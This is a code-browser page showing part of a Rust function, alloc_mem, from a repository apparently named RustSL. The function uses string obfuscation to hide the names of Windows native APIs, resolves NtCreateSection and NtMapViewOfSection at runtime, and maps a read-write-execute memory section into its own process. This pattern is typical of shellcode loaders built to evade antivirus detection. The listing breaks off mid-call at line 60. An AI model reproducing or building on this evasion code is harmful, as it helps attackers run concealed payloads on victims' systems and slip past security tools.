MCPcopy Create free account
hub / github.com/echQoQ/RustSL / alloc_mem

Function alloc_mem

src/alloc_mem/section.rs:3–74  ·  view source on GitHub ↗
(size: usize)

Source from the content-addressed store, hash-verified

1use crate::utils::{load_library, get_proc_address};
2#[allow(dead_code)]
3pub unsafe fn alloc_mem(size: usize) -> Result<*mut u8, String> {
4 use obfstr::{obfstr, obfbytes};
5 use core::ffi::c_void;
6
7 type NtCreateSectionFn = unsafe extern "system" fn(
8 section_handle: *mut *mut c_void,
9 desired_access: u32,
10 object_attributes: *mut c_void,
11 maximum_size: *mut u64,
12 section_page_protection: u32,
13 allocation_attributes: u32,
14 file_handle: *mut c_void
15 ) -> i32;
16
17 type NtMapViewOfSectionFn = unsafe extern "system" fn(
18 section_handle: *mut c_void,
19 process_handle: *mut c_void,
20 base_address: *mut *mut c_void,
21 zero_bits: usize,
22 commit_size: usize,
23 section_offset: *mut u64,
24 view_size: *mut usize,
25 inherit_disposition: u32,
26 allocation_type: u32,
27 win32_protect: u32
28 ) -> i32;
29
30 let ntdll = load_library(obfbytes!(b"ntdll.dll\0").as_slice())?;
31 let nt_create_section: NtCreateSectionFn = core::mem::transmute(get_proc_address(ntdll, obfbytes!(b"NtCreateSection\0").as_slice())?);
32 let nt_map_view_of_section: NtMapViewOfSectionFn = core::mem::transmute(get_proc_address(ntdll, obfbytes!(b"NtMapViewOfSection\0").as_slice())?);
33
34 let mut section_handle: *mut c_void = core::ptr::null_mut();
35 let mut max_size = size as u64;
36
37 // SECTION_ALL_ACCESS = 0xF001F, PAGE_EXECUTE_READWRITE = 0x40, SEC_COMMIT = 0x08000000
38 let status = nt_create_section(
39 &mut section_handle,
40 0xF001F,
41 core::ptr::null_mut(),
42 &mut max_size,
43 0x40,
44 0x08000000,
45 core::ptr::null_mut()
46 );
47
48 if status != 0 {
49 return Err(obfstr!("NtCreateSection failed").to_string());
50 }
51
52 let mut base_addr: *mut c_void = core::ptr::null_mut();
53 let mut view_size = size;
54
55 // -1 is GetCurrentProcess()
56 let status = nt_map_view_of_section(
57 section_handle,
58 -1isize as *mut c_void,
59 &mut base_addr,
60 0,

Callers

nothing calls this directly

Calls 2

load_libraryFunction · 0.85
get_proc_addressFunction · 0.85

Tested by

no test coverage detected